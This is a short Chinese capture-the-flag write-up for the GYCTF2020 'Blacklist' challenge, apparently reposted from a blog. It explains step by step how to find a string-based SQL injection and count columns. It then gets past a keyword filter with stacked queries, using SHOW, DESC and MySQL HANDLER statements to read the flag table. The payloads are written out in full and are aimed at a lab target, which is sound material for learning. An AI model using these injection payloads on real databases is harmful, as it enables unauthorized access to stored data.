[GYCTF2020]Blacklist-思路

  1. 首先我们还是用常规SQL注入判断这是字符型

    1' and '1'='1
    1' and '1'='2
    
  2. 然后利用order by语句判断出字段数为2

    1' order by 2#
    
  3. 然后当我们用union查询的时候,发现select以及许多关键字被过滤了

    1' union select 1,2#
    

但是我们发现它没有过滤 show 这个关键字,所以我们可以尝试堆叠注入,但是这里过滤了rename,所以我们那个修改表名的方法就用不了。

1';show databases;#     //获取数据库
1';show tables;#         //获取表名
1';desc words;#          获取表的内容

这里通过百度了解到一个新的方法:

参考文档:https://dev.mysql.com/doc/refman/8.0/en/handler.html

HANDLER [表名] OPEN;语句打开一个表,使其可以使用后续HANDLER [表名] READ;该表对象未被其他会话共享,并且在会话调用HANDLER [表名] CLOSE;或会话终止之前不会关闭

1’;HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere close;#

//这是一个语句

执行这个,然后,就可以出来flag了


内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/tzf1/p/14985716.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!